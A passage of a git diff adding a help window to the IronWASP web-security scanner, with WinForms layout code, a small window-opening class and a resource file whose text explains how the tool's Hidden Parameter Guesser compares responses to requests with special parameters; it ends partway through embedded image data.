tabPage2 + // + this.tabPage2.Controls.Add(this.pictureBox2); + this.tabPage2.Controls.Add(this.label3); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(874, 348); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " STEP 1 "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // pictureBox2 + // + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(4, 141); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(868, 200); + this.pictureBox2.TabIndex = 7; + this.pictureBox2.TabStop = false; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(7, 7); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(860, 129); + this.label3.TabIndex = 6; + this.label3.Text = resources.GetString("label3.Text"); + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.pictureBox1); + this.tabPage1.Controls.Add(this.label2); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(874, 348); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " STEP 2 "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // pictureBox1 + // + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(111, 71); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(618, 109); + this.pictureBox1.TabIndex = 6; + this.pictureBox1.TabStop = false; + // + // label2 + // + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(8, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(860, 45); + this.label2.TabIndex = 5; + this.label2.Text = "Select the Requests from the target site that must be used for testing for hidden" + + " parameters. You must select the hostname that you want to test and the file ext" + + "ensions that you want to test."; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.pictureBox3); + this.tabPage3.Controls.Add(this.label4); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(874, 348); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " STEP 3 "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // pictureBox3 + // + this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); + this.pictureBox3.Location = new System.Drawing.Point(59, 61); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(718, 65); + this.pictureBox3.TabIndex = 8; + this.pictureBox3.TabStop = false; + // + // label4 + // + this.label4.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(6, 9); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(860, 49); + this.label4.TabIndex = 7; + this.label4.Text = "If you are going to test sections of that site that are only accessible after aut" + + "hentication then it helps to record a login and select that here for best covera" + + "ge."; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.pictureBox5); + this.tabPage4.Controls.Add(this.label7); + this.tabPage4.Controls.Add(this.pictureBox4); + this.tabPage4.Controls.Add(this.label5); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(874, 348); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " STEP 4 "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // pictureBox5 + // + this.pictureBox5.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox5.Image"))); + this.pictureBox5.Location = new System.Drawing.Point(21, 135); + this.pictureBox5.Name = "pictureBox5"; + this.pictureBox5.Size = new System.Drawing.Size(841, 210); + this.pictureBox5.TabIndex = 11; + this.pictureBox5.TabStop = false; + // + // label7 + // + this.label7.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label7.Location = new System.Drawing.Point(7, 96); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(860, 38); + this.label7.TabIndex = 10; + this.label7.Text = resources.GetString("label7.Text"); + // + // pictureBox4 + // + this.pictureBox4.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox4.Image"))); + this.pictureBox4.Location = new System.Drawing.Point(3, 28); + this.pictureBox4.Name = "pictureBox4"; + this.pictureBox4.Size = new System.Drawing.Size(869, 63); + this.pictureBox4.TabIndex = 9; + this.pictureBox4.TabStop = false; + // + // label5 + // + this.label5.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.Location = new System.Drawing.Point(7, 5); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(860, 23); + this.label5.TabIndex = 8; + this.label5.Text = "After providing all input click the \'Find Suitable Candidates for Testing\' button" + + ".\r\n"; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.pictureBox7); + this.tabPage5.Controls.Add(this.pictureBox6); + this.tabPage5.Controls.Add(this.label6); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(874, 348); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = " STEP 5 "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // pictureBox7 + // + this.pictureBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox7.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox7.Image"))); + this.pictureBox7.Location = new System.Drawing.Point(29, 191); + this.pictureBox7.Name = "pictureBox7"; + this.pictureBox7.Size = new System.Drawing.Size(822, 157); + this.pictureBox7.TabIndex = 11; + this.pictureBox7.TabStop = false; + // + // pictureBox6 + // + this.pictureBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox6.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox6.Image"))); + this.pictureBox6.Location = new System.Drawing.Point(29, 116); + this.pictureBox6.Name = "pictureBox6"; + this.pictureBox6.Size = new System.Drawing.Size(822, 71); + this.pictureBox6.TabIndex = 10; + this.pictureBox6.TabStop = false; + // + // label6 + // + this.label6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.Location = new System.Drawing.Point(6, 5); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(860, 119); + this.label6.TabIndex = 9; + this.label6.Text = resources.GetString("label6.Text"); + // + // DocForHiddenParameterGuesser + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.tabControl1); + this.Controls.Add(this.label1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "DocForHiddenParameterGuesser"; + this.Text = "How to test for Hidden Parameters"; + this.tabControl1.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + this.tabPage1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.tabPage4.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).EndInit(); + this.tabPage5.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.PictureBox pictureBox5; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.PictureBox pictureBox4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.PictureBox pictureBox7; + private System.Windows.Forms.PictureBox pictureBox6; + private System.Windows.Forms.Label label6; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForHiddenParameterGuesser.cs b/Iron/Docs/DocForHiddenParameterGuesser.cs new file mode 100644 index 0000000..9a216ed --- /dev/null +++ b/Iron/Docs/DocForHiddenParameterGuesser.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForHiddenParameterGuesser : Form + { + public DocForHiddenParameterGuesser() + { + InitializeComponent(); + } + + static DocForHiddenParameterGuesser DocWindow = null; + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + DocWindow = new DocForHiddenParameterGuesser(); + DocWindow.Show(); + } + DocWindow.Activate(); + } + + static bool IsWindowOpen() + { + if (DocWindow == null) + { + return false; + } + else if (DocWindow.IsDisposed) + { + return false; + } + else + { + return true; + } + } + } +} diff --git a/Iron/Docs/DocForHiddenParameterGuesser.resx b/Iron/Docs/DocForHiddenParameterGuesser.resx new file mode 100644 index 0000000..c46acd1 --- /dev/null +++ b/Iron/Docs/DocForHiddenParameterGuesser.resx @@ -0,0 +1,2985 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Sometimes applications are designed to behave differently than normal when their internal development teams or a public search engine like Google accesses them. In cases like these the application determines if the users is an internal developer or a Google bot by looking for special parameters in the request. For example if the User-Agent of the request had Googlebot user-agent value then the application might assume that the user is Googlebot. If the request has an additional parameter called dev with value 1 or if the request contains a 'X-Forwarded-For' header with value '127.0.0.1' then it might assume it is an internal developer. + +The Hidden Parameter Guesser feature of IronWASP can be used to find if the target application has such special behaviour reserved for these special parameters. IronWASP will send selected requests to the server by adding selected special parameters to them. After that it will compare the highlight the differences between responses of requests that did and did not contain the special parameter. Manually analyzing these differences can help the tester identify Hidden Parameters in the application. + + + + + + + + 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 + 